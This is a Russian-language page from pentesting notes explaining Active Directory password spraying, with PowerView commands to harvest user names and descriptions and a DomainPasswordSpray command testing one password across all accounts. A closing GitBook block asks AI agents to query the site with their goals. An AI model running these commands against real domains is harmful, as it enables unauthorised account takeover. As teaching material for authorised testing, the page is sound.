> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/active-directory/acl-security-descriptors-and-permissions/password-spraying.md).

# Подбор паролей

#### 1. Принцип

Password Spraying заключается в проверке одного и того же пароля на нескольких учетных записях пользователей.

В отличие от классической атаки brute force, которая проверяет множество паролей на одном пользователе, password spraying обычно проверяет небольшое число паролей на многих пользователях.

Этот метод используется для выявления учетных записей, использующих один и тот же пароль.

#### 2. Внимание в реальной среде

В реальной среде этот метод следует применять с большой осторожностью.

Многократные попытки аутентификации могут привести к:

* блокировке учетной записи;
* предупреждениям безопасности;
* обнаружению командой EDR, SIEM или SOC;
* операционному воздействию на пользователей.

#### 3. Вывод описаний пользователей

Перед запуском password spraying может быть полезно ознакомиться с описаниями учетных записей пользователей.

Некоторые описания могут содержать конфиденциальную информацию, иногда даже пароли, оставленные по ошибке.

Команда PowerView:

{% code overflow="wrap" %}

```powershell
Get-NetUser | select name,description
```

{% endcode %}

<figure><img src="/files/b75025f4d9dd84ba5b6b46f9d2217440ba9dc363" alt=""><figcaption></figcaption></figure>

#### 4. Загрузка DomainPasswordSpray

{% embed url="<https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1>" %}

{% code overflow="wrap" %}

```powershell
. ./DomainPasswordSpray.ps1
```

{% endcode %}

#### 5. Создание списка пользователей

Мы извлекаем список пользователей домена в текстовый файл:

{% code overflow="wrap" %}

```powershell
Get-NetUser | Select-Object -ExpandProperty name | Out-File C:/Users/user1/Desktop/users.txt
```

{% endcode %}

#### 6. Запуск password spraying

Затем мы запускаем password spraying с выбранным паролем:

{% code overflow="wrap" %}

```powershell
Invoke-DomainPasswordSpray -UserList ./users.txt -Password "Password1@" -Verbose
```

{% endcode %}

<figure><img src="/files/99ba69422bf377b10469337513a90fbdbbb02872" alt=""><figcaption></figcaption></figure>

Эта команда проверяет `Password1@` пароль на пользователях, присутствующих в `users.txt` файле.

Если некоторые учетные записи используют этот пароль, инструмент покажет их как успешные аутентификации.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/active-directory/acl-security-descriptors-and-permissions/password-spraying.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
